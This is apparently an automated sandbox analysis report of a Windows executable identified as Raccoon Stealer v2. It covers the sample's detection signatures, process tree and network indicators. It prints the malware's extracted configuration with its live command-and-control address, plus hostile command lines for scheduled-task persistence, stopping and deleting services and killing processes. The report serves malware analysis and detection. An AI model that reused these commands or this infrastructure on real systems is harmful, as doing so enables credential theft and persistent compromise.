Edit tour

Windows Analysis Report
z5i6tLOUD0.exe

Overview

General Information

Sample Name:	z5i6tLOUD0.exe
Analysis ID:	701216
MD5:	035a4f79912dd1710c6a24324dddbb0b
SHA1:	dbd4c4612a7fb75a8ae23294072e398ed47552fd
SHA256:	417ea3585515662a88109b63a6ef89ef4ea592c35c0774f4d605d736254d1b12
Tags:	exeRecordBreaker
Infos:

Detection

Raccoon Stealer v2

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Yara detected Raccoon Stealer v2

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file

Query firmware table information (likely to detect VMs)

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Allocates memory in foreign processes

Injects a PE file into a foreign processes

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Changes security center settings (notifications, updates, antivirus, firewall)

Obfuscated command line found

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

HTTP GET or POST without a user agent

Contains long sleeps (>= 3 min)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Queries keyboard layouts

Found large amount of non-executed APIs

Contains functionality to delete services

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Contains functionality for read data from the clipboard

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Contains functionality to shutdown / reboot the system

PE file contains sections with non-standard names

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

IP address seen in connection with other malware

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Uses net.exe to stop services

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Uses taskkill to terminate processes

Queries disk information (often used to detect virtual machines)

Classification

Process Tree

System is w10x64

z5i6tLOUD0.exe (PID: 4928 cmdline: "C:\Users\user\Desktop\z5i6tLOUD0.exe" MD5: 035A4F79912DD1710C6A24324DDDBB0B)

cmd.exe (PID: 2224 cmdline: "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

schtasks.exe (PID: 5128 cmdline: schtasks /create /sc minute /mo 1 /tn "Nafdfnasia" /tr "'C:\Users\user\AppData\Roaming\cmd32.exe'" /f MD5: 15FF7D8324231381BAD48A052F85DF04)

cmd.exe (PID: 5368 cmdline: cmd" /c copy "C:\Users\user\Desktop\z5i6tLOUD0.exe" "C:\Users\user\AppData\Roaming\cmd32.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vbc.exe (PID: 3244 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe MD5: B3A917344F5610BEEC562556F11300FA)

WerFault.exe (PID: 5356 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 3244 -s 168 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

WingFtpServer.exe (PID: 6120 cmdline: "C:\Users\user\AppData\Local\Temp\WingFtpServer.exe" MD5: CF0D1C650627BF796FDC7775FDECB2E0)

WingFtpServer.tmp (PID: 4228 cmdline: "C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp" /SL5="$403E6,13223801,146432,C:\Users\user\AppData\Local\Temp\WingFtpServer.exe" MD5: 4137CF8E14B42B0E1C90AF7628E02978)

wns22DB.tmp (PID: 4880 cmdline: windowsnetservicehelpersetup.exe /S MD5: 2BEB8722EA464A6FFB7AE6DC1FE00EF7)

net.exe (PID: 4856 cmdline: "net" stop windowsnetservicehelper.exe MD5: DD0561156F62BC1958CE0E370B23711B)

conhost.exe (PID: 4948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

net1.exe (PID: 4884 cmdline: C:\Windows\system32\net1 stop windowsnetservicehelper.exe MD5: B5A26C2BF17222E86B91D26F1247AF3E)

taskkill.exe (PID: 5316 cmdline: "taskkill" /IM windowsnetservicehelper.exe /T /F MD5: 15E2E0ACD891510C6268CB8899F2A1A1)

conhost.exe (PID: 5328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 2852 cmdline: "sc" delete windowsnetservicehelper.exe MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 2744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

windowsnetservicehelper.exe (PID: 4864 cmdline: "windowsnetservicehelper.exe" install MD5: C48855FE677EB4D5C999C01ECCFDB0BC)

conhost.exe (PID: 2684 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

windowsnetservicehelper.exe (PID: 3252 cmdline: "windowsnetservicehelper.exe" start MD5: C48855FE677EB4D5C999C01ECCFDB0BC)

conhost.exe (PID: 5184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

BackgroundTransferHost.exe (PID: 2224 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECC9DB6665589B68335)

svchost.exe (PID: 3448 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3804 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 5600 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 2356 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3076 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 6088 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 5336 cmdline: c:\windows\system32\svchost.exe -k wusvcs -p -s WaaSMedicSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4756 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

windowsnetservicehelper.exe (PID: 4768 cmdline: C:\Program Files (x86)\WindowsNetService\windowsnetservicehelper.exe MD5: C48855FE677EB4D5C999C01ECCFDB0BC)

node.exe (PID: 2116 cmdline: C:\Program Files (x86)\WindowsNetService\node.exe" "C:\Program Files (x86)\WindowsNetService\service.js MD5: 5F40521D2E1082FE1C734610C4A83911)

conhost.exe (PID: 4688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 4708 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 4948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 1328 cmdline: wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 4968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 2120 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 1276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 3424 cmdline: wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 4444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 3108 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 1952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 4116 cmdline: wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 4264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 496 cmdline: wmic path Win32_NetworkAdapterConfiguration where IPEnabled=true get DefaultIPGateway,GatewayCostMetric,IPConnectionMetric,Index /format:table MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 5912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 4880 cmdline: wmic path Win32_NetworkAdapter where Index=1 get NetConnectionID,MACAddress /format:table MD5: 79A01FCD1C8166C5642F37D1E0FB7BA8)

conhost.exe (PID: 4896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 4008 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4584 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Configuration

Threatname: Raccoon

{"C2 url": ["http://146.19.173.87"], "Bot ID": "5e2fe6baf8e8ce7099f065b350664b82", "RC4_key1": "5e2fe6baf8e8ce7099f065b350664b82"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.315220700.0000000003E31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.z5i6tLOUD0.exe.3e45fd0.0.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
7.0.vbc.exe.43a0000.0.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
0.2.z5i6tLOUD0.exe.3e45fd0.0.raw.unpack	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp

Avira: detection malicious, Label: TR/Dropper.Gen

Multi AV Scanner detection for submitted file

Source: z5i6tLOUD0.exe	ReversingLabs: Detection: 60%
Source: z5i6tLOUD0.exe	Virustotal: Detection: 28%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\WingFtpServer.exe	ReversingLabs: Detection: 17%
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	ReversingLabs: Detection: 33%
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	ReversingLabs: Detection: 15%
Source: C:\Users\user\AppData\Roaming\cmd32.exe	ReversingLabs: Detection: 60%

Machine Learning detection for sample

Source: z5i6tLOUD0.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\cmd32.exe

Joe Sandbox ML: detected

Source: 18.0.WingFtpServer.tmp.400000.0.unpack

Avira: Label: TR/Dropper.Gen

Source: 00000000.00000002.315220700.0000000003E31000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Raccoon {"C2 url": ["http://146.19.173.87"], "Bot ID": "5e2fe6baf8e8ce7099f065b350664b82", "RC4_key1": "5e2fe6baf8e8ce7099f065b350664b82"}

Source: z5i6tLOUD0.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: z5i6tLOUD0.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: WaaSMedicSvc.pdb source: waasmedic.20220912_171757_809.etl.16.dr
Source:	Binary string: c:\ws\out\Release\node.pdb source: node.exe, 00000022.00000002.604744457.0000000001801000.00000040.00000001.01000000.0000000E.sdmp

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AAD434 FindFirstFileW,FindClose,	18_2_03AAD434
Source: C:\Users\user\AppData\Local\Temp\is-702K3.tmp\WingFtpServer.tmp	Code function: 18_2_03AACE68 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	18_2_03AACE68
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Code function: 20_2_0040672B FindFirstFileW,FindClose,	20_2_0040672B
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Code function: 20_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	20_2_00405AFA
Source: C:\Users\user\AppData\Local\Temp\wns22DB.tmp	Code function: 20_2_00402868 FindFirstFileW,	20_2_00402868

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 6101
Source: unknown	Network traffic detected: HTTP traffic on port 6101 -> 49753

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://146.19.173.87

Source: global traffic

HTTP traffic detected: GET /strvn HTTP/1.1Sec-WebSocket-Version: 13Sec-WebSocket-Key: 6vBj9xxRPKmrnN/oh+G2pw==Connection: UpgradeUpgrade: websocketSec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsHost: register.starhome.io:6101

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: global traffic

TCP traffic: 192.168.2.6:49753 -> 142.93.96.73:6101

Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://api.infoip.io/ip
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://api.infoip.io/ip9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/H
Source: z5i6tLOUD0.exe, 00000000.00000002.391081901.000000000C3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: z5i6tLOUD0.exe, 00000000.00000002.391081901.000000000C3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://checkip.amazonaws.com/
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://checkip.amazonaws.com/9
Source: node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.613801103.00000000032C0000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: node.exe, 00000022.00000002.614186818.0000000003317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl
Source: node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000031.00000002.544706692.0000015A138E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: node.exe, 00000022.00000002.614186818.0000000003317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl7
Source: node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl
Source: node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crlWf
Source: node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crlp
Source: node.exe, 00000022.00000002.614186818.0000000003317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: node.exe, 00000022.00000002.614186818.0000000003317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crlgP
Source: node.exe, 00000022.00000002.614186818.0000000003317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: node.exe, 00000022.00000002.614186818.0000000003317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crlop
Source: svchost.exe, 00000031.00000002.544706692.0000015A138E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: node.exe, 00000022.00000002.614186818.0000000003317000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
Source: node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: z5i6tLOUD0.exe, 00000000.00000002.391081901.000000000C3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: z5i6tLOUD0.exe, 00000000.00000002.391081901.000000000C3DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: svchost.exe, 00000031.00000003.501712973.0000015A14185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://icanhazip.com/9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ident.me/4
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ident.me/9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ifconfig.co/ip
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ifconfig.co/ip9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ifconfig.io/ip
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ifconfig.io/ip0
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ifconfig.io/ip9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ifconfig.me/ip
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ifconfig.me/ip9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=query
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=query$
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=query9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ipecho.net/plain
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ipecho.net/plain9
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipecho.net/plainD
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip
Source: node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip(
Source: node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ipinfo.io/ip9
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.555929864.00000000009CC000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556447653.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/$
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/About
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/Acerca
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/Despre
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/Informazioni
Source: WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/Kur
Source: WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ispp.sourceforge.net/O
